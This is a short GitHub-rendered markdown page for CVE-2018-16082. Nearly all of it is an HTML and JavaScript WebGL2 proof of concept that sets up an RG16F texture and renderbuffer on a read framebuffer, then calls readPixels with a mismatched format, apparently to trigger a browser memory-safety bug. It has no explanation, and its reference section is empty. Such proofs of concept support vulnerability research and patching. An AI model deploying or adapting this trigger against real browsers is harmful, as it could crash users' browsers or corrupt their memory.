Skip to content

Latest commit

 

History

History
39 lines (29 loc) · 1.16 KB

CVE-2018-16082.md

File metadata and controls

39 lines (29 loc) · 1.16 KB
Raw

CVE-2018-16082

PoC

<!DOCTYPE html>
<body>

<canvas id="canvas3" width="1024" height="1024"></canvas>

<script>
var canvas = document.getElementById('canvas3');
var gl3 = canvas.getContext('webgl2', {  antialias:false } );

var texture3 = gl3.createTexture();
gl3.bindTexture(gl3.TEXTURE_2D, texture3);
imgData = new Float32Array(1024);
gl3.texImage2D(gl3.TEXTURE_2D, 0, gl3.RG16F, 16, 16, 0, gl3.RG, gl3.FLOAT, imgData);

var fBuffer3 = gl3.createFramebuffer();
gl3.bindFramebuffer(gl3.READ_FRAMEBUFFER, fBuffer3);
gl3.framebufferTexture2D( gl3.READ_FRAMEBUFFER, gl3.COLOR_ATTACHMENT0, gl3.TEXTURE_2D, texture3, 0 );
var rBuffer3 = gl3.createRenderbuffer();
gl3.bindRenderbuffer(gl3.RENDERBUFFER, rBuffer3);
var ext_cbf = gl3.getExtension('EXT_color_buffer_float');
gl3.renderbufferStorage( gl3.RENDERBUFFER, gl3.RG16F, 64, 64 );
gl3.framebufferRenderbuffer( gl3.READ_FRAMEBUFFER, gl3.COLOR_ATTACHMENT0, gl3.RENDERBUFFER, rBuffer3 );
var pixels = new Uint16Array(256);
gl3.readPixels(1, 3, 8, 8, gl3.RGBA, gl3.UNSIGNED_SHORT_4_4_4_4, pixels, 0);
</script>


</body>
</html>

Reference